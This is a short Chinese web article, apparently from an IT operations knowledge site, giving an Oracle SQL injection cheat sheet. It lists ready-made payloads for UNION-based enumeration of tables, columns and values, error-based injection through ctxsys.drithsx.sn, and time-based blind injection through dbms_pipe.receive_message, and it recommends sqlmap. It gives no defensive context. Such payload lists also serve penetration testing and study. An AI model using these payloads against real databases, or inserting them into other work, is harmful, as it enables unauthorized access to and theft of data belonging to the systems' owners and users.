首页 运维知识 关于SQL如何注入oracle数据库

关于SQL如何注入oracle数据库

一、union注入 判断字段数量 order by 4 判断回显字段(先使用null进行填充) union select 1,null from dual 查询表名 第一行表:un…

一、union注入

判断字段数量
order by 4
判断回显字段(先使用null进行填充)
union select 1,null from dual
查询表名
第一行表:union select null,(select table_name from user_tables where rownum=1) from dual
第二行及以后表:union select null,(select table_name from(select rownum no,table_name from user_tables) where no=2) from dual
查询列名
第一列:union select 1,(select column_name from user_tab_columns where table_name='test3' and rownum=1) from dual
第二列及以后列:union select null,(select column_name from(select rownum no,column_name from user_tab_columns) where no=2) from dual
查询字段值
union select null,(select "test33" from "test3") from dual

二、oracle报错注入

or 1=ctxsys.drithsx.sn(1,(select user from dual)) ‐‐
or 1=ctxsys.drithsx.sn(1,(select (select table_name from user_tables where rownum=1) from
dual)) ‐‐

三、盲注

一些盲注函数:
and 1= dbms_pipe.receive_message('xxx', 1)‐‐
and 1=(select decode(substr(user,1,1),'S',dbms_pipe.receive_message('RDS',2),0) from
dual) ‐‐

推荐:使用sqlmap

免责声明:文章内容不代表本站立场,本站不对其内容的真实性、完整性、准确性给予任何担保、暗示和承诺,仅供读者参考,文章版权归原作者所有。如本文内容影响到您的合法权益(内容、图片等),请及时联系本站,我们会及时删除处理。

作者: 小小编

为您推荐

dell R710 更换raid卡后,raid卡信息没有了,处理方案

dell R710 更换raid卡后,raid卡信息没有了,处理方案

1.将一台服务器(A)的硬盘依次拔出,按相同顺序插入另一台同样配置的服务器(B) 2.启动服务器(B) 3.按提示键盘按...
PL SQL Developer 13连接Oracle数据库并导出数据详细操作教程方法

PL SQL Developer 13连接Oracle数据库并导出数据详细操作教程方法

下载 并安装 PL SQL Developer 13,默认支持中文语言 ========================...
关于一条sql语句在mysql中是如何执行的

关于一条sql语句在mysql中是如何执行的

最近开始在学习mysql相关知识,自己根据学到的知识点,根据自己的理解整理分享出来,本篇文章会分析下一个sql语句在my...
关于sql注入姿势总结(mysql)

关于sql注入姿势总结(mysql)

前言 学习了sql注入很长时间,但是仍然没有系统的了解过,这次总结一波,用作学习的资料。 从注入方法分:基于报错、基于布...
关于Oracle SQL外连接

关于Oracle SQL外连接

SQL提供了多种类型的连接方式,它们之间的区别在于:从相互交叠的不同数据集合中选择用于连接的行时所采用的方法不同。 连接...

发表回复

返回顶部